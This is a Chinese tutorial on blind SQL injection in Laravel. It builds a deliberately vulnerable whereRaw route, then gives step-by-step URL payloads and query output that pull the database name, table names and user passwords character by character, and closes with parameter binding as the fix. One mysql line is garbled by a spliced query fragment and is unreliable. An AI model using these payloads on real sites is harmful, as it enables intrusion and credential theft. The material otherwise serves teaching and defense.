溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

laravel sql盲注的原理是什么

發(fā)布時間:2022-07-27 16:51:27 來源:億速云 閱讀:132 作者:iii 欄目:編程語言

本篇內容介紹了“l(fā)aravel sql盲注的原理是什么”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

環(huán)境

composer create-project laravel/laravel lar9 // 安裝laravel9
// 編輯.env  修改為DEBUG=false 配置數(shù)據(jù)庫
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 啟動
// 插入數(shù)據(jù)
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

創(chuàng)建漏洞

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后轉換的sql是: select * from users where id = $id

測試

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

步驟

數(shù)據(jù)庫名

猜出數(shù)據(jù)名長度

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循環(huán)下去

猜出數(shù)據(jù)庫名

從第一步 知道了數(shù)據(jù)庫名長度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循環(huán)下去 找到數(shù)據(jù)庫名的第一個做字符  然后找第二個字符  直到找完數(shù)據(jù)庫名的長度

最終: laravel_project

表名

以下的步驟和猜數(shù)據(jù)庫差不多,就簡說了。

information_schema

information_schema 是 mysql 自帶的,

數(shù)據(jù)庫名 表名 列類型 等都有記錄,猜表 字段明需要從這個數(shù)據(jù)庫來。

猜 laravel_project 的表數(shù)量

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

猜第一個表名的長度

與 [猜出數(shù)據(jù)名長度] 此不多。

猜第一個表名

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一個表的第一個字段是f  然后查第

最終得出第一個表名稱為: failed_jobs

猜字段

和猜表一模一樣的邏輯。

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段總數(shù)

猜數(shù)據(jù)

數(shù)據(jù)這才是最重要的。

因為 failed_jobs 沒數(shù)據(jù),所以我換成 users 來。

users 有個 password 字段。

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一個是w,存起來,最后判斷 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二個值為o
用第一個值 + 第二個值作為盲注

……

防御

(有時候 where 不滿足需求,就需要 whereRaw)

如果需要,記得綁定就好。

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});

只要安份的用框架,不會會漏洞的。

那些老項目,漏洞滿地飛。

現(xiàn)在這個時代,找漏洞難登天。

Ps

上面為了講解簡單,用是最簡單的查找。

手工盲注應該用二分查找。

select * from users where id = 1 and  substr(database(),1,1) ='a';
換成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;

“l(fā)aravel sql盲注的原理是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關的知識可以關注億速云網(wǎng)站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI